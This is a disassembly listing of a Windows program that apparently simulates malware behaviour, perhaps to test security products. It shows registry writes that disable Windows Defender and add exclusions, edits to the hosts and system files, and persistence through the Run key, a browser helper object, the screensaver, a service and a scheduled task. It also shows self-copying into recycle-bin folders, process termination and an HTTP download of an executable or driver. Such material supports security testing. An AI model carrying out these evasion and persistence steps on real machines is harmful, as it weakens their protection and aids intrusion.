mov dword [rbp + 0x270], 0xff
lea rdx, [0x140044b80]
lea rcx, str.HKCUSoftwareMicrosoftOffice15.0OutlookProfilesJY
call fcn.140011160
lea rax, [rbp]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftOffice15.0OutlookProfiles
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rbp]
test rcx, rcx
jne 0x140004fea
lea rcx, [0x140044c70]
call fcn.140001030
mov ebx, 0x65b
jmp case.default.0x14000d0ae
lea rax, [rbp + 0x270]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rdx, [0x14003fe94]
lea rax, [rbp + 0x360]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebx, eax
test eax, eax
je 0x1400050d9
lea rcx, [0x140044ca0]
jmp 0x1400050cf
mov r8d, 1
mov dword [rbp + 0x270], 0xff
lea rdx, [0x140044988]
lea rcx, str.HKCUSoftwareMicrosoftWindows_NTCurrentVersionWindows_Messaging_SubsystemProfilesJY
call fcn.140011160
lea rax, [rbp]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionWindows_Messaging_SubsystemProfiles
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rbp]
test rcx, rcx
jne 0x140005093
lea rcx, [0x1400449a8]
call fcn.140001030
mov ebx, 0x65b
jmp case.default.0x14000d0ae
lea rax, [rbp + 0x270]
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rdx, [0x14003fe14]
lea rax, [rbp + 0x360]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebx, eax
test eax, eax
je 0x140004e24
lea rcx, [0x140044b48]
call fcn.140001030
mov ebx, 0x65b
mov rcx, qword [rbp]
test rcx, rcx
je case.default.0x14000d0ae
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp case.default.0x14000d0ae
cmp edi, 0x10010032
je 0x1400051cc
cmp edi, 0x10020032
je 0x14000515f
cmp edi, 0x10030032
je 0x14000513c
cmp edi, 0x10040032
jne case.default.0x14000d0ae
xor edx, edx
lea rcx, str.HKLMSoftwareMicrosoftWindows_DefenderExclusionsPaths_test
call fcn.1400109c0
xor edx, edx
lea rcx, str.HKLMSoftwareWow6432NodeMicrosoftWindows_DefenderExclusionsPaths_test
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
xor edx, edx
lea rcx, str.HKLMSoftwareMicrosoftWindows_DefenderFeaturesTamperProtection
call fcn.1400109c0
xor edx, edx
lea rcx, str.HKLMSoftwareWow6432NodeMicrosoftWindows_DefenderFeaturesTamperProtection
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
mov edx, 1
lea rcx, str.HKLMSoftwarePoliciesMicrosoftWindows_DefenderReal_Time_ProtectionDisableRealtimeMonitoring
call fcn.1400109c0
mov edx, 1
lea rcx, str.HKLMSoftwarePoliciesMicrosoftWindows_DefenderReal_Time_ProtectionDisableScanOnRealtimeEnable
call fcn.1400109c0
mov edx, 1
lea rcx, str.HKLMSoftwarePoliciesMicrosoftWindows_DefenderReal_Time_ProtectionDisableOnAccessProtection
call fcn.1400109c0
mov edx, 1
lea rcx, str.HKLMSoftwareWow6432NodePoliciesMicrosoftWindows_DefenderReal_Time_ProtectionDisableRealtimeMonitoring
call fcn.1400109c0
mov edx, 1
lea rcx, str.HKLMSoftwareWow6432NodePoliciesMicrosoftWindows_DefenderReal_Time_ProtectionDisableScanOnRealtimeEnable
call fcn.1400109c0
mov edx, 1
lea rcx, str.HKLMSoftwareWow6432NodePoliciesMicrosoftWindows_DefenderReal_Time_ProtectionDisableOnAccessProtection
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
mov edx, 1
lea rcx, str.HKLMSoftwarePoliciesMicrosoftWindows_DefenderDisableAntiSpyware
call fcn.1400109c0
mov edx, 1
lea rcx, str.HKLMSoftwarePoliciesMicrosoftWindows_DefenderDisableRoutinelyTakingAction
call fcn.1400109c0
mov edx, 1
lea rcx, str.HKLMSoftwareWow6432NodePoliciesMicrosoftWindows_DefenderDisableAntiSpyware
call fcn.1400109c0
mov edx, 1
lea rcx, str.HKLMSoftwareWow6432NodePoliciesMicrosoftWindows_DefenderDisableRoutinelyTakingAction
call fcn.1400109c0
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x20060009
ja 0x1400052cf
je 0x1400052b5
cmp edi, 0x20010009
je 0x14000529b
cmp edi, 0x20020009
je 0x140005281
cmp edi, 0x20040009
je 0x140005267
cmp edi, 0x20050009
jne case.default.0x14000d0ae
lea rdx, [0x140039efc]
lea rcx, str.c:windowswin.ini
call fcn.140001300
mov ebx, eax
jmp case.default.0x14000d0ae
lea rdx, [0x140039f9c]
lea rcx, str.c:_autoexec.bat
call fcn.140001300
mov ebx, eax
jmp case.default.0x14000d0ae
lea rdx, [0x140039fbc]
lea rcx, str.c:_autoexec.nt
call fcn.140001300
mov ebx, eax
jmp case.default.0x14000d0ae
lea rdx, [0x140039ff4]
lea rcx, str.c:_boot.ini
call fcn.140001300
mov ebx, eax
jmp case.default.0x14000d0ae
lea rdx, [0x140039edc]
lea rcx, str.c:windows_system.ini
call fcn.140001300
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x20070009
je 0x14000531f
cmp edi, 0x20080009
je 0x140005305
cmp edi, 0x20090009
jne case.default.0x14000d0ae
lea rdx, [0x140039f74]
lea rcx, str.c:windowswinstart.bat
call fcn.140001300
mov ebx, eax
jmp case.default.0x14000d0ae
lea rdx, [0x140039ebc]
lea rcx, str.C:windowsinfiereset.inf
call fcn.140001300
mov ebx, eax
jmp case.default.0x14000d0ae
lea rdx, [0x14003a204]
lea rcx, str.c:windowscontrol.ini
call fcn.140001300
mov ebx, eax
jmp case.default.0x14000d0ae
cmp esi, 0x2001001
ja 0x140008336
je 0x14000801e
add esi, 0xfdfffff6
cmp esi, 0x3a
ja case.default.0x14000d0ae
lea rdx, [0x140000000]
movzx eax, byte [rdx + rsi + 0xdfac]
mov ecx, dword [rdx + rax*4 + 0xdf64]
add rcx, rdx
jmp rcx
cmp edi, 0x2002000a
je 0x140005471
cmp edi, 0x2003000a
je 0x140005400
cmp edi, 0x2004000a
jne case.default.0x14000d0ae
lea rcx, [0x1400459d8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [0x1400459f8]
lea rcx, [0x140045a08]
call fcn.1400011a0
lea rcx, [0x140045468]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [0x1400457b8]
lea rcx, [0x140045a28]
call qword [sym.imp.KERNEL32.dll_MoveFileW]
mov ebx, 0x65b
lea rcx, str.C:JYhi.txt
test eax, eax
cmovne ebx, r14d
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:JY_autorun.inf
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
xor edx, edx
lea rcx, [rbp + 0x360]
mov r8d, 0x200
call fcn.140013860
lea rax, [0x1400918c0]
mov edx, 0x100
lea r9, [0x140091cd0]
mov qword [rsp + 0x20], rax
lea r8, str._s_s_autorun.inf
lea rcx, [rbp + 0x360]
call fcn.1400019e0
lea rcx, [rbp + 0x360]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [0x1400459c8]
lea rcx, [rbp + 0x360]
call fcn.1400011a0
lea rcx, [rbp + 0x360]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rdx, str._autorun_
lea rcx, str.C:Autorun.inf
call fcn.140001300
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x20040010
ja 0x14000551d
je 0x140005503
cmp edi, 0x20010010
je 0x1400054e9
cmp edi, 0x20020010
je 0x1400054cf
cmp edi, 0x20030010
jne case.default.0x14000d0ae
lea rdx, [0x140045c88]
lea rcx, str.c:windows_system32driversetc_services
call fcn.140001300
mov ebx, eax
jmp case.default.0x14000d0ae
lea rdx, [0x140045b20]
lea rcx, str.c:windows_system32driversetclmhosts
call fcn.140001300
mov ebx, eax
jmp case.default.0x14000d0ae
lea rdx, [0x140045ac0]
lea rcx, str.c:windows_system32driversetchosts
call fcn.140001300
mov ebx, eax
jmp case.default.0x14000d0ae
lea rdx, [0x140045be8]
lea rcx, str.c:windows_system32driversetcprotocol
call fcn.140001300
mov ebx, eax
jmp case.default.0x14000d0ae
cmp edi, 0x20050010
je 0x14000554b
cmp edi, 0x20060010
jne case.default.0x14000d0ae
lea rdx, str._nTested_by_JY
lea rcx, str.c:windows_system32driversetchosts.ics
call fcn.140001300
mov ebx, eax
jmp case.default.0x14000d0ae
lea rdx, [0x140045b80]
lea rcx, str.c:windows_system32driversetc_networks
call fcn.140001300
mov ebx, eax
jmp case.default.0x14000d0ae
test edi, edi
je 0x14000557e
cmp edi, 0x20070016
jne case.default.0x14000d0ae
lea r8, str.http:___s:_s_MedCored.sys
jmp 0x140005585
lea r8, str.http:___s:_s_test.exe
lea rax, [0x1400914a0]
mov edx, 0x100
lea r9, [0x140091cd0]
mov qword [rsp + 0x20], rax
lea rcx, [rbp + 0x990]
call fcn.1400019e0
lea rcx, [rbp + 0x990]
call fcn.1400100d0
jmp case.default.0x14000d0ae
cmp edi, 0x20010017
ja 0x1400057d2
je 0x14000575a
cmp edi, 0x30000
ja 0x1400056ec
je 0x14000567b
test edi, edi
je 0x14000564e
cmp edi, 0x10000
je 0x140005623
cmp edi, 0x20000
jne case.default.0x14000d0ae
lea rcx, [0x140045e60]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x140045ee0]
call fcn.1400014c0
lea rcx, str.C:windows_system32Driversjy.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x140045c98]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x140045d28]
call fcn.1400014d0
lea rcx, [0x140045e38]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x140045dd8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x140045df8]
call fcn.1400014c0
lea rcx, [0x140045e18]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
xor edx, edx
lea rcx, [0x140045ea8]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [0x140045fe0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x140046020]
call fcn.1400014c0
lea rcx, [0x140046060]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor edx, edx
lea rcx, [0x1400460a0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [0x140045f28]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x140045fa8]
call fcn.1400014c0
lea rcx, [0x1400460d0]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp edi, 0x40000
je 0x14000572d
cmp edi, 0x70000
jne case.default.0x14000d0ae
lea rcx, [0x140046180]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x1400461a8]
call fcn.1400014d0
lea rcx, str.C:JY_test.doc.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x140046108]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x140046130]
call fcn.1400014c0
lea rcx, [0x140046158]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
movups xmm0, xmmword [str.C:JY_runtest.exe]
mov eax, dword [0x140046218]
mov r8d, 1
movups xmm1, xmmword [0x140046208]
lea rdx, [rbp + 0x280]
mov dword [rbp + 0x2a0], eax
lea rcx, [0x140046220]
movups xmmword [rbp + 0x280], xmm0
movups xmmword [rbp + 0x290], xmm1
call fcn.140011160
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x280]
call fcn.1400014c0
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.HKLMSoftwaremicrosoftwindowscurrentversion_runJY
call fcn.140011530
jmp case.default.0x14000d0ae
cmp edi, 0x20020017
je 0x140005bb4
cmp edi, 0x20030017
je 0x140005b1c
cmp edi, 0x20040017
je 0x140005a84
cmp edi, 0x20050017
je 0x1400059ec
cmp edi, 0x20060017
jne case.default.0x14000d0ae
mov eax, dword [0x140046458]
lea rcx, [rbp + 0x360]
movups xmm0, xmmword [str.C:JYBHO_test.exe]
mov dword [rbp + 0x2a0], eax
mov r8d, 0x15e
movups xmm1, xmmword [0x140046448]
movzx eax, word [0x14004645c]
movups xmmword [rbp + 0x280], xmm0
mov word [rbp + 0x2a4], ax
lea rax, [rdx + 0x467d0]
movups xmm0, xmmword [rax]
xor edx, edx
movups xmmword [rbp + 0x290], xmm1
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x80]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm0
movups xmm0, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm1
movups xmmword [rcx + 0x90], xmm0
lea rcx, [rbp + 0x400]
call fcn.140013860
movups xmm0, xmmword [str.HKLMSOFTWAREClassesCLSID_]
movzx eax, word [0x1400468a8]
xor edx, edx
movups xmm1, xmmword [0x140046880]
lea rcx, [rbp + 0x5aa]
mov r8d, 0x1c4
movaps xmmword [rbp + 0x570], xmm0
movups xmm0, xmmword [0x140046890]
mov word [rbp + 0x5a8], ax
movaps xmmword [rbp + 0x580], xmm1
movsd xmm1, qword [0x1400468a0]
movaps xmmword [rbp + 0x590], xmm0
movsd qword [rbp + 0x5a0], xmm1
call fcn.140013860
lea rdx, str.0000000F_0000_0000_0000_000000000000
lea rcx, [rbp + 0x360]
call fcn.14000ffd0
lea rdx, [0x14003a214]
lea rcx, [rbp + 0x360]
call fcn.14000ffd0
lea rdx, str.0000000F_0000_0000_0000_000000000000
lea rcx, [rbp + 0x570]
call fcn.14000ffd0
lea rdx, str.InprocServer32_
lea rcx, [rbp + 0x570]
call fcn.14000ffd0
mov r8d, 1
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x570]
call fcn.140011160
mov r8d, 1
lea rdx, [rbp + 0x280]
lea rcx, [rbp + 0x360]
call fcn.140011160
mov r8d, 1
lea rdx, [rbp + 0x280]
lea rcx, str.HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser_Helper_ObjectsVIRUSJY
call fcn.140011160
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x280]
call fcn.1400014c0
lea rcx, [rbp + 0x280]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.HKLMSOFTWAREMicrosoftWindowsCurrentVersionExplorerBrowser_Helper_ObjectsVIRUS
call fcn.140011530
jmp case.default.0x14000d0ae
movups xmm0, xmmword [str.C:JY_toolbar_test.exe]
mov eax, dword [0x140046688]
lea rdx, [rbp + 0x280]
movups xmm1, xmmword [0x140046670]
mov dword [rbp + 0x2a8], eax
mov r8d, 1
movzx eax, word [0x14004668c]
lea rcx, [0x140046690]
movups xmmword [rbp + 0x280], xmm0
mov word [rbp + 0x2ac], ax
movsd xmm0, qword [0x140046680]
movsd qword [rbp + 0x2a0], xmm0
movups xmmword [rbp + 0x290], xmm1
call fcn.140011160
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x280]
call fcn.1400014c0
lea rcx, [rbp + 0x280]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x140046730]
call fcn.140011530
jmp case.default.0x14000d0ae
movups xmm0, xmmword [str.C:JY_scsaver_test.exe]
mov eax, dword [0x140046580]
lea rdx, [rbp + 0x280]
movups xmm1, xmmword [0x140046568]
mov dword [rbp + 0x2a8], eax
mov r8d, 1
movzx eax, word [0x140046584]
lea rcx, [0x1400465c0]
movups xmmword [rbp + 0x280], xmm0
mov word [rbp + 0x2ac], ax
movsd xmm0, qword [0x140046578]
movsd qword [rbp + 0x2a0], xmm0
movups xmmword [rbp + 0x290], xmm1
call fcn.140011160
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x280]
call fcn.1400014c0
lea rcx, [rbp + 0x280]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.HKCUControl_PanelDesktopSCRNSAVE.EXE
call fcn.140011530
jmp case.default.0x14000d0ae
movups xmm0, xmmword [str.C:JY_service_test.exe]
mov eax, dword [0x140046430]
lea rdx, [rbp + 0x280]
movups xmm1, xmmword [0x140046418]
mov dword [rbp + 0x2a8], eax
mov r8d, 1
movzx eax, word [0x140046434]
lea rcx, [0x140046460]
movups xmmword [rbp + 0x280], xmm0
mov word [rbp + 0x2ac], ax
movsd xmm0, qword [0x140046428]
movsd qword [rbp + 0x2a0], xmm0
movups xmmword [rbp + 0x290], xmm1
call fcn.140011160
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x280]
call fcn.1400014c0
lea rcx, [rbp + 0x280]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x1400464f0]
call fcn.140011530
jmp case.default.0x14000d0ae
movups xmm0, xmmword [str.C:JYunusual_test.exe]
mov eax, dword [0x140046328]
lea rdx, [rbp + 0x280]
movups xmm1, xmmword [0x140046310]
mov dword [rbp + 0x2a8], eax
mov r8d, 1
movzx eax, word [0x14004632c]
lea rcx, [0x140046330]
movups xmmword [rbp + 0x280], xmm0
mov word [rbp + 0x2ac], ax
movsd xmm0, qword [0x140046320]
movsd qword [rbp + 0x2a0], xmm0
movups xmmword [rbp + 0x290], xmm1
call fcn.140011160
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x280]
call fcn.1400014c0
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x1400463a0]
call fcn.140011530
jmp case.default.0x14000d0ae
cmp edi, 0x50000
ja 0x140005dac
je 0x140005d5f
test edi, edi
je 0x140005d12
cmp edi, 0x20000
je 0x140005cc5
cmp edi, 0x40000
jne case.default.0x14000d0ae
lea rcx, [0x140046ad8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x140046b00]
call fcn.1400014c0
mov ebx, eax
cmp eax, 0x65b
je case.default.0x14000d0ae
lea rdx, [0x14003a244]
lea rcx, [0x140046b28]
call fcn.140001300
lea rcx, str.C:windowsjy.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x140046588]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x1400466f8]
call fcn.1400014c0
mov ebx, eax
cmp eax, 0x65b
je case.default.0x14000d0ae
lea rdx, [0x14003a234]
lea rcx, [0x140046798]
call fcn.140001300
lea rcx, str.C:windows_system32jy.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x140046a20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x140046a40]
call fcn.1400014c0
mov ebx, eax
cmp eax, 0x65b
je case.default.0x14000d0ae
lea rdx, [0x14003a224]
lea rcx, [0x140046a60]
call fcn.140001300
lea rcx, str.C:JYjy.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x140046b78]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x140046b90]
call fcn.1400014c0
mov ebx, eax
cmp eax, 0x65b
je case.default.0x14000d0ae
lea rdx, [0x14003a254]
lea rcx, [0x140046ba8]
call fcn.140001300
lea rcx, str.C:_root.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp edi, 0x60000
je 0x140005de6
cmp edi, 0x20010018
jne case.default.0x14000d0ae
lea rcx, [0x140046cb0]
call fcn.140002550
lea rdx, [0x14003a264]
lea rcx, str.C:Windows_system32driverscdrom.sys
call fcn.140001300
mov ebx, eax
jmp case.default.0x14000d0ae
lea rdx, str.dllcache_test
lea rcx, str.C:WIndows_system32dllcache_notepad.exe
call fcn.140001300
mov ebx, eax
jmp case.default.0x14000d0ae
test edi, edi
je 0x140005f7c
cmp edi, 0x20000
je 0x140005f44
cmp edi, 0x30000
je 0x140005ea4
cmp edi, 0x40000
je 0x140005e6c
cmp edi, 0x70000
jne case.default.0x14000d0ae
lea rcx, [0x140047100]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x140047140]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, str.C:WindowsSystem32JY.mp3.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x140046ec8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x140046f38]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, str.C:WindowsJY.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
xor edx, edx
lea rcx, str.C:_Recycle.BinS_123123
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
xor edx, edx
lea rcx, str.C:RECYCLERS_123123
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, str.C:_Recycle.BinS_123123JY.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:RECYCLERS_123123JY.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x140046ef0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rsi, [0x140091ac0]
xor r8d, r8d
mov rcx, rsi
lea rdx, [0x140046f60]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, str.C:_Recycle.BinS_123123_selfJY.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x140047040]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x140047080]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, str.C:RECYCLERS_123123_selfJY.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x140046be8]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x140046c78]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, str.C:WindowsSystem32JY.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x140046d50]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x140046d70]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, str.C:JYJY.exe
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp edi, 0x20010023
jne case.default.0x14000d0ae
lea rcx, [0x1400471c0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rdx, [0x1400412d4]
lea rcx, [0x1400471f0]
call fcn.1400011a0
lea rcx, str.C:WindowsTasksJY.job
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp edi, 0x20010024
je 0x140006264
cmp edi, 0x20020024
je 0x140006222
cmp edi, 0x20030024
je 0x140006169
cmp edi, 0x20040024
jne case.default.0x14000d0ae
lea rcx, [0x1400474d0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x1400474f0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rsi, [0x140091ac0]
xor r8d, r8d
mov rcx, rsi
lea rdx, [0x140047510]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
xor r8d, r8d
lea rdx, [0x140047530]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rdx, str.append
lea rcx, [0x140047550]
call fcn.140001300
lea rcx, str.C:JYother.exe__start_c:windows_system32_notepad.exe
call fcn.14001b9a0
mov ecx, 1
call fcn.140010890
lea rcx, [0x1400475a8]
call fcn.140002860
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
mov esi, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x14000612c
lea rcx, [0x1400475c0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp dword [0x140056a60], 1
jne 0x1400060de
lea rcx, [0x1400475e8]
mov edx, 0x6a
jmp 0x1400060ea
lea rcx, [0x140047610]
mov edx, WSAGetLastError
call fcn.1400014f0
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x140047638]
mov rcx, rdi
call fcn.140010670
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.C:JYDelDLL.dll
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x140006143
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, esi
lea rcx, str.result:__d__pid:__d_n
mov edx, eax
call fcn.140001820
xor ecx, ecx
call fcn.140010890
lea rcx, [0x1400476a0]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:JYother.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x140047388]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rsi, [0x140091ac0]
xor r8d, r8d
mov rcx, rsi
lea rdx, [0x1400473a8]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rdx, [0x1400414d4]
lea rcx, [0x1400473c8]
call fcn.140001300
mov edx, eax
lea rcx, str.file_append_:__d_n
mov ebx, eax
call fcn.140001820
lea rcx, [0x140047400]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x140047420]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov edx, sendto
lea rcx, str.C:JYother.exe__del_C:JY_self4.exe
call fcn.140010310
mov rdi, rax
test rax, rax
je 0x140006203
mov edx, 0x1388
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x140047490]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:JY_self4.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x140047310]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor r8d, r8d
lea rdx, [0x140047330]
lea rcx, [0x140091ac0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, str.del__f_C:JY_self3.exe
call fcn.14001b9a0
lea rcx, str.C:JY_self3.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
lea rcx, [0x140047250]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [0x140047270]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rsi, [0x140091ac0]
xor r8d, r8d
mov rcx, rsi
lea rdx, [0x140047290]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
xor r8d, r8d
lea rdx, [0x1400472b0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rcx, str.C:JY_self1.exe__del_C:JY_self2.exe
call fcn.14001b9a0
lea rcx, str.C:JY_self1.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, str.C:JY_self2.exe
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp case.default.0x14000d0ae
cmp edi, 0x20120028
ja 0x140006ba4
je 0x140006a96
cmp edi, 0x200e0028
ja 0x140006786
je 0x140006688
test edi, edi
je 0x140006612
cmp edi, 0x20080028
je 0x140006514
cmp edi, 0x20090028
je 0x140006424
